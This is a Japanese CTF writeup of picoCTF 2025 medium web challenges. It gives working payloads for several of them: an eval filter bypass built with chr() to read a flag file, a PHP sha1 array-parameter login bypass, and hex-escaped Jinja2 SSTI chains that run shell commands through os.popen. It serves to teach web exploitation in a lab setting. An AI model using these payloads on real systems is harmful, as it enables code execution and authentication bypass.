picoCTF 2025 writeup (Web)
picoCTF 2025 の Web 問題の Writeup.
難易度 medium のみ掲載
Pachinko
- ソースコードを確認すると /flag というエンドポイントを発見
- よくわからないがそのままフラグが取得できた
3v@l
- 入力した文字列が python の eval 関数に渡される
- コメントアウトを読むと, 1. os, eval 等の危険なキーワードが禁止されている
- 入力した文字列に 16 進数が含まれていないか, "." (ドット) などが含まれていないかを正規表現で確認している
- 16 進数が禁止されているが chr は禁止されていないため, 10 進数を引数として渡すことで "." などを使うことができる
- ヒントより,
/flag.txt
にフラグが格納されている - 以下の文を用いてフラグを読み込むことができた
__import__('builtins').open(chr(47) + 'flag' + chr(46) + 'txt').read()
WebSockFish
- WebSocket を用いて通信するチェスゲーム
- Burp Suite を用いて通信を intercept してみると, eval $NUM という形のデータが送信されている
- おそらく盤面の評価値であると考えられるため, 送る数字を非常に絶対値の大きい負の数にしたところフラグが表示された
Apriti sesamo
- SQL Injection はうまくいかない
- 以下のエンドポイントにバックアップファイルが存在
/impossibleLogin.php~
- コメントに php コードが書かれており, username と pwd が異なるもので, それぞれの SHA-1 が一致するとフラグが取得できる
- SHA-1 の衝突するバイナリを文字列にしてあれこれするのは面倒そう
- username, pwd を配列として送ることで
sha1()
を null にするとフラグが獲得できた
username[]=aaa&pwd[]=bbb
SSTI2
- 普通の SSTI (Server Side Template Injection) を試みるとブロックされる
- 特定の文字がブロックされるようなので, ドットをアトリビュートに変換し, アンダーバーも 16 進数を用いる. 加えて, 要素アクセスも getitem を用いる.
- 最終的に以下を送り ls コマンドを実行
{{config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('os')|attr("popen")('ls')|attr("read")()}}
- フラグが格納されていることが分かったので以下でフラグ獲得
{{config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('os')|attr("popen")('cat flag')|attr("read")()}}